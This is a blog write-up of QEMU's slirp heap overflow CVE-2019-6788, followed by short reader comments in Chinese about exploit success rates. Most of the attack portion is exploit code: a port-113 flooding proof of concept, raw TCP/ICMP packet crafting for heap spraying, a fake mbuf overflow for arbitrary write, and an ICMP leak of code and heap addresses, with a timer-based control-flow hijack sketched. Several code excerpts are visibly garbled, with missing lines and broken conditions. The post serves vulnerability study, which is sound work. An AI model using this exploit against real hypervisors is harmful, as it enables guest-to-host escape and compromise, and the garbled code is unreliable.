# cve-2019-6788 analysis

reference:

https://ray-cp.github.io/archivers/qemu-pwn-cve-2019-6788%E5%A0%86%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90

https://ama2in9.top/2021/01/02/cve-2019-6788/

### The Poc

cve-2019-6788 is a heap overflow vulnerability in qemu, it occurs in tcp_emu(slirp/tcp_subr.c):

     case EMU_IDENT:
/*
* Identification protocol as per rfc-1413
*/

{
struct socket *tmpso;
struct sbuf *so_rcv = &so->so_rcv;

memcpy(so_rcv->sb_wptr, m->m_data, m->m_len);
so_rcv->sb_wptr += m->m_len;
so_rcv->sb_rptr += m->m_len;
m->m_data[m->m_len] = 0; /* NULL terminate */
if (strchr(m->m_data, '\r') || strchr(m->m_data, '\n')) {
if (sscanf(so_rcv->sb_data, "%u%*[ ,]%u", &n1, &n2) == 2) {
HTONS(n1);
HTONS(n2);
/* n2 is the one on our host */
for (tmpso = slirp->tcb.so_next;
tmpso != &slirp->tcb;
tmpso = tmpso->so_next) {
tmpso->so_lport == n2 &&
tmpso->so_fport == n1) {
if (getsockname(tmpso->s,
break;
}
}
}
so_rcv->sb_cc = snprintf(so_rcv->sb_data,
so_rcv->sb_datalen,
"%d,%d\r\n", n1, n2);
so_rcv->sb_rptr = so_rcv->sb_data;
so_rcv->sb_wptr = so_rcv->sb_data + so_rcv->sb_cc;
}
m_free(m);
return 0;
}


In EMU_IDENT,It copies data from network layer to transport layer, the (struct socket *)so_rcv->sb_wptr is buffer which store data from (struct mbuf* )m , the origin ptr for buffer is (struct socket *)so_rcv->sb_data. In gdb ,we can see it’s size is 0x2245: If m->m_data not contains ‘\r’ or ‘\n’ , the so_rcv->sb_cc will not be update, but so_rcv->sb_wptr has been increased. Before call tcp_emu, tcp_input will check the buffer size :

else if (ti->ti_ack == tp->snd_una &&
tcpfrag_list_empty(tp) &&
// #define sbspace(sb) ((sb)->sb_datalen - (sb)->sb_cc)
ti->ti_len <= sbspace(&so->so_rcv)) {
/*
* this is a pure, in-sequence data packet
* with nothing on the reassembly queue and
* we have enough buffer space to take it.
*/
tp->rcv_nxt += ti->ti_len;
/*
* Add data to socket buffer.
*/
if (so->so_emu) {
if (tcp_emu(so,m)) sbappend(so, m);
}


It calculate the remain size use sbspace, which subs the sb_datalen and sb_cc ( sb_datalen is 8760).But both value not be update in tcp_emu. So we can cause heap overflow by sending data which not contains ‘\r’ or ‘\n’ continuously:

int main() {
int s, ret;
char buf[0x500];

s = socket(AF_INET, SOCK_STREAM, 0);
ip_addr.sin_port = htons(113);                   // vulnerable port
memset(buf, 'A', 0x500);
while (1) {
write(s, buf, 0x500);
}
return 0;
}


### exploits – part1 Malloc Primitive

In order to control heap object, we must find a way to clean free bins in ptmalloc. If there is no free bins in arena, ptmalloc will split top_chunk. In this way, the arrangement of the heap is controllable and predictable.

In IP’s flags, there is a flag called More fragments following flag(MF),if MF set to 1,represent that there will be packet in the next. In qemu’s slirp, it will be store in struct mbuf. For each new connection, if there is no free buffer in slirp’s free list(the slirp manage free mbuf use doubly linked list), the mbuf will be alloc in m_get function, it will call malloc(0x668).

struct mbuf *
m_get(Slirp *slirp)
{
register struct mbuf *m;
int flags = 0;

DEBUG_CALL("m_get");

m = g_malloc(SLIRP_MSIZE);
slirp->mbuf_alloced++;
if (slirp->mbuf_alloced > MBUF_THRESH)
flags = M_DOFREE;
m->slirp = slirp;
} else {
m = (struct mbuf *) slirp->m_freelist.qh_link;
remque(m);
}

/* Insert it in the used list */
insque(m,&slirp->m_usedlist);
m->m_flags = (flags | M_USEDLIST);

/* Initialise it */
m->m_size = SLIRP_MSIZE - offsetof(struct mbuf, m_dat);
m->m_data = m->m_dat;
m->m_len = 0;
m->m_nextpkt = NULL;
m->m_prevpkt = NULL;
m->resolution_requested = false;
m->expiration_date = (uint64_t)-1;
DEBUG_ARG("m = %p", m);
return m;
}


### write a raw tcp packet

In order to set MF flag to 1,we must write tcp packet by ourselves. In addition to the original exp, I also referenced a lot of code:

https://gist.github.com/leonid-ed/909a883c114eb58ed49f

https://gist.github.com/sfantree/831ab83b751b6cf72e9e9a005f2d6e8b

https://github.com/rbaron/raw_tcp_socket/blob/master/raw_tcp_socket.c

Firstly, we must create a raw socket:

int s = socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
int one = 1;
const int *val = &one;
// inform the kernel do not fill up the packet structure, we will build our own
setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof(one));


And bind it to interface:

#define DEVICE_NAME "enp0s3"
char interface[] =  DEVICE_NAME;
struct ifreq ifr;
memset(&ifr, 0, sizeof(ifr));
snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", interface);
if (setsockopt(s, SOL_SOCKET, SO_BINDTODEVICE, &ifr, sizeof(ifr)) < 0)
{
perror("setsockopt() failed to bind to interface ");
exit(EXIT_FAILURE);
}


Notice: I use different packet header struct from origin exp,It’s defined in linux/ip.h,linux/tcp.h,linux/icmp.h

struct iphdr* creat_ip_header(u32 id,void* des)
{
struct iphdr * ip =(struct iphdr*)des;
memset(ip,0,sizeof(struct iphdr));
ip->ihl      = 5;
ip->version  = 4;
ip->tos      = 0;
// ip->tot_len  = sizeof(struct iphdr);
ip->id       = htons(id);
ip->ttl      = 0xFF; // hops
ip->protocol = IPPROTO_TCP;
return ip;
}


Then we set the MF flags to 1 and c the checksum:

unsigned short csum(unsigned short *buf, int nwords)
{
unsigned long sum;
for(sum=0; nwords>0; nwords--)
sum += *buf++;
sum = (sum >> 16) + (sum &0xffff);
sum += (sum >> 16);
return (unsigned short)(~sum);
}

ip->frag_off = htons((0 << 15) + (0 << 14) + (1 << 13) + (0 >> 3)); // set More fragments following flag
ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr) + data_size);
ip->check = 0;
ip->check = csum(buf,20); // 20 is sizeof struct iphdr; if data is zero,it will not effect the checksum


struct tcphdr* create_tcp_header(void* des)
{
struct tcphdr* tcpHdr = (struct tcphdr*)des;
tcpHdr->source = htons(60); //16 bit in nbp format of source port
tcpHdr->dest = htons(80); //16 bit in nbp format of destination port
tcpHdr->seq = 0x0; //32 bit sequence number, initially set to zero
tcpHdr->ack_seq = 0x0; //32 bit ack sequence number, depends whether ACK is set or not
tcpHdr->doff = 5; //4 bits: 5 x 32-bit words on tcp header
tcpHdr->res1 = 0; //4 bits: Not used
tcpHdr->cwr = 0; //Congestion control mechanism
tcpHdr->ece = 0; //Congestion control mechanism
tcpHdr->urg = 0; //Urgent flag
tcpHdr->ack = 1; //Acknownledge
tcpHdr->psh = 1; //Push data immediately
tcpHdr->rst = 0; //RST flag
tcpHdr->syn = 0; //SYN flag
tcpHdr->fin = 0; //Terminates the connection
tcpHdr->window = htons(0xFFFF);//0xFFFF; //16 bit max number of databytes
tcpHdr->check = 0; //16 bit check sum. Can't calculate at this point
tcpHdr->urg_ptr = 0; //16 bit indicate the urgent data. Only if URG flag is set
}


But tcp’s checksum is different, it contains some extra data, we can create a struct to calculate the checksum for tcp:

struct pseudoTCPPacket {
uint8_t zero;
uint8_t protocol;
uint16_t TCP_len;
};
struct pseudoTCPPacket pTCPPacket;
pTCPPacket.zero = 0; //8 bit always zero
pTCPPacket.protocol = IPPROTO_TCP; //8 bit TCP protocol
pTCPPacket.TCP_len = htons(sizeof(struct tcphdr) + data_size);
char *pseudo_packet = (char *) malloc((int) (sizeof(struct pseudoTCPPacket) + sizeof(struct tcphdr)) + data_size);
memset(pseudo_packet, 0, sizeof(struct pseudoTCPPacket) + sizeof(struct tcphdr)+ data_size);
memcpy(pseudo_packet, (char *) &pTCPPacket, sizeof(struct pseudoTCPPacket));
// tcp is the struct from create_tcp_header
tcp->seq = htonl(initSeqGuess++);
tcp->check = 0;
memcpy(pseudo_packet + sizeof(struct pseudoTCPPacket), tcp, sizeof(struct tcphdr));
// start calculate
tcp->check = csum((unsigned short *) pseudo_packet, (int) (sizeof(struct pseudoTCPPacket) + sizeof(struct tcphdr)));


Finally, we can send packet to trigger malloc:

struct sockaddr_in addr_in;


But if we want splay large packet,we must increase the mtu for the interface by ifconfig DEVICE_NAME mtu 9000 up

### exploits – part2 Arbitrary Write and Leak

We also look at the logic of m_buf , if MF set to 0, slrip will combine the whole packet and send it, see ip_reass:

insert:
/*
* Stick new segment in its place;
* check for complete reassembly.
*/
ip_enq(iptofrag(ip), q->ipf_prev);
next = 0;
q = q->ipf_next) {
if (q->ipf_off != next)
return NULL;
next += q->ipf_len;
}
if (((struct ipasfrag *)(q->ipf_prev))->ipf_tos & 1)
return NULL;
/*
* Reassembly is complete; concatenate fragments.
*/
m = dtom(slirp, q);

q = (struct ipasfrag *) q->ipf_next;
while (q != (struct ipasfrag*)&fp->frag_link) {
struct mbuf *t = dtom(slirp, q);
q = (struct ipasfrag *) q->ipf_next;
m_cat(m, t);
}



m_cat function will call memcpy(m->m_data+m->m_len, t->m_data, t->m_len); to copy data to the first m_buf,so if we can overwrite m->m_data, we can do a arbitrary write. So Firstly, we will prepare two packet:

    void* icmp_buf1 = malloc(0x1000);
memset(icmp_buf1,0,0x1000);
icmp_ip1->protocol = IPPROTO_ICMP;
icmp_ip1->frag_off = htons((0 << 15) + (0 << 14) + (1 << 13) + (0 >> 3)); // set More fragments following flag to 1
icmp_ip1->tot_len = htons(0x300 + 20);
icmp_ip1->check = csum(icmp_buf1,20);

void* icmp_buf2 = malloc(0x1000);
memset(icmp_buf2,0,0x1000);
icmp_ip2->protocol = IPPROTO_ICMP;
icmp_ip2->tot_len = htons(sizeof(struct iphdr) prepare+ buf_len);
icmp_ip2->frag_off = htons((0 << 15) + (0 << 14) + (0 << 13) + ((0x300) >> 3)); // set offset
icmp_ip2->check = csum(icmp_buf2,20);
memcpy(icmp_buf2 + sizeof(struct iphdr),buf,buf_len);


Importantly, the second packet must has the right offset in frag_off , ip_reass will check it

Then create vulnerable object and first packet:

ret = connect(s, (struct sockaddr *)&ip_addr, sizeof(struct sockaddr_in));
if (ret == -1)
{
perror("connect failed");
exit(1);
}
send_raw_packet(icmp_buf1,0x300 + 20,src_addr); // will send the first packet


Next we overflow it:

struct mbuf {
// chunk size
u64 prev_size;
u64 size;
/* XXX should union some of these! */
/* header at beginning of each mbuf: */
u64 *m_next; /* Linked list of mbufs */
u64 *m_prev;
u64 *m_nextpkt; /* Next packet in queue/record */
u64 *m_prevpkt; /* Flags aren't used in the output queue */
int m_flags;            /* Misc flags */
int m_size;             /* Size of mbuf, from m_dat or m_ext */
u64 *m_so;
};
for (int i = 0; i < 6; ++i)
{
usleep(20000);
}
memset(fake_mbuf,0,sizeof(struct mbuf));
fake_mbuf->size = 0x675;
fake_mbuf->m_size = 0x608;
write(s, payload, sizeof(struct mbuf) + write_len); // overflow


After we overwrite the first m_buf's m_data,we can do arbitrary write by sending second packet.

For leak, we can low bit write m_buf's m_data ,and use the icmp echo packet to send data we want to leak, and capture it to get leaked data. This part I copied from origin exp:

void recv_capture(int recvsd)
{
int bytes, status;
struct iphdr *recv_iphdr;
struct icmphdr *recv_icmphdr;
uint8_t *recv_ether_frame = malloc(0x1000);
socklen_t fromlen;
struct timeval wait, t1, t2;
struct timezone tz;
double dt;

puts("wait for icmp leak");
(void)gettimeofday(&t1, &tz);
wait.tv_sec = 2;
wait.tv_usec = 0;
setsockopt(recvsd, SOL_SOCKET, SO_RCVTIMEO, (char *)&wait,
sizeof(struct timeval));
#define ETH_HDRLEN 14
recv_iphdr = (struct iphdr *)(recv_ether_frame + ETH_HDRLEN);
recv_icmphdr = (struct icmphdr *)(recv_ether_frame + ETH_HDRLEN + sizeof(struct iphdr));
int count = 0;
while (1)
{
memset(recv_ether_frame, 0, 0x1000 * sizeof(uint8_t));
memset(&from, 0, sizeof(from));
fromlen = sizeof(from);
if ((bytes = recvfrom(recvsd, recv_ether_frame, 0x1000, 0,
(struct sockaddr *)&from, &fromlen)) < 0)
{
status = errno;
if (status == EAGAIN)
{
printf("No reply within %li seconds.\n", wait.tv_sec);
exit(EXIT_FAILURE);
}
else if (status == EINTR)  // EINTR = 4
{
continue;
}
else
{
perror("recvfrom() failed ");
exit(EXIT_FAILURE);
}
} // End of error handling conditionals.
// hexdump("recv", recv_ether_frame, 0x50);
printf("recv count %d\n", count++);
if ((((recv_ether_frame << 8) + recv_ether_frame) ==
ETH_P_IP) &&
(recv_iphdr->protocol == IPPROTO_ICMP) &&
{
// Stop timer and calculate how long it took to get a reply.
(void)gettimeofday(&t2, &tz);
dt = (double)(t2.tv_sec - t1.tv_sec) * 1000.0 +
(double)(t2.tv_usec - t1.tv_usec) / 1000.0;
printf("%g ms (%i bytes received)\n", dt, bytes);
hexdump("ping recv", recv_ether_frame, bytes);
if (bytes < 0x200)
continue;
text_base =
((*(uint64_t *)(recv_ether_frame + 0xa0)) - 0x31d000) & ~0xfff;
heap_base = (*(uint64_t *)(recv_ether_frame + 0x90)) & ~0xffffff;
printf("leak text_base: 0x%llx\n"
"leak heap_base: 0x%llx\n",
text_base, heap_base);
// getchar();
break;
} // End if IP ethernet frame carrying ICMP_ECHOREPLY
}
free(recv_ether_frame);
}


But before we leak,we must prepare a fake icmp packet in heap, and overwrite the m_data to it. We also low bit write the m_data and do a “arbitrary write” to prepare data. This need a fake icmp header, it’s similar to ip header and tcp header:

struct icmphdr* create_icmp_header(void* des)
{
struct icmphdr *icmp = des;
icmp->type = ICMP_ECHO;
icmp->code = 0;
icmp->un.echo.id =  htons(1000);
icmp->un.echo.sequence = 0;
icmp->checksum = csum((void*)icmp,sizeof(struct icmphdr));
return icmp;
}


### exploits – part3 Hijacking control flow

The method to hijack the control flow is to use QemuTimer. In bss, there is a global variable main_loop_tlg of type QEMUTimerList, and its member active_timers is a variable of type QEMUTimer*. We can fake these two variables on the heap, overwrite the global variable of bss. And the command execution will be triggered when expire_time expires. This is a general exploit technique, I won’t go into details.

During my exploit development, I find it’s hard to do heap fengshui. Sometimes the success rate is very high,but sometimes I can’t succeed once a whole day. Is there a way to increased the success rate? or just my exploit has some bugs? I don’t know, and will keep trying.

### Fix

It add a check before memcpy:

if (m->m_len > so_rcv->sb_datalen - (so_rcv->sb_wptr - so_rcv->sb_data)) {
return 1;
}
memcpy(so_rcv->sb_wptr, m->m_data, m->m_len);
so_rcv->sb_wptr += m->m_len;
so_rcv->sb_rptr += m->m_len;


But I think it better to update the check method in sbspace(sb) ((sb)->sb_datalen - (sb)->sb_cc) 🙁

## 3 thoughts on “cve-2019-6788 analysis”

1. yz3q说道：

我根据这个cve改编过一道题，做利用的时候概率还是比较高的，基本在(1/200)左右？（具体我也记不太清了），如果需要的话，师傅或许可以参考一下？

1. pzhxbz说道：

1/200算高吗(233 我自己没算过成功率，不知道有没有这个数，
不过我自己在调试的时候发现不同的文件系统对利用也有影响，不知道会不会是这个原因，如果可以的话师傅能说一下制作镜像的环境吗，我再去看看是不是这个原因。

1. yz3q说道：
{"ft_lang_label":"__label__en","ft_lang_prob":0.536369,"math_prob":0.9684594,"size":16012,"snap":"2021-31-2021-39","text_gpt3_token_len":5198,"char_repetition_ratio":0.11837831,"word_repetition_ratio":0.035904255,"special_character_ratio":0.3335623,"punctuation_ratio":0.1891709,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.96089315,"pos_list":[0,1,2,3,4,5,6,7,8],"im_url_duplicate_count":[null,3,null,null,null,null,null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-09-23T12:51:41Z\",\"WARC-Record-ID\":\"<urn:uuid:853fe1ac-c996-4264-a05e-dd4754723dae>\",\"Content-Length\":\"53251\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:3b726771-51a9-46ba-a051-ca9dc47fbaf2>\",\"WARC-Concurrent-To\":\"<urn:uuid:c7e39a9b-b6d4-4413-bb19-27e45fae9483>\",\"WARC-IP-Address\":\"123.207.228.51\",\"WARC-Target-URI\":\"http://pzhxbz.cn/?p=168\",\"WARC-Payload-Digest\":\"sha1:WI6VHGGQ7LHAHBMXT2GS6WTRKCSDMIPG\",\"WARC-Block-Digest\":\"sha1:63BL3HGQ6PRY5GX5R7M4W3CDF42IMW6F\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-39/CC-MAIN-2021-39_segments_1631780057421.82_warc_CC-MAIN-20210923104706-20210923134706-00496.warc.gz\"}"}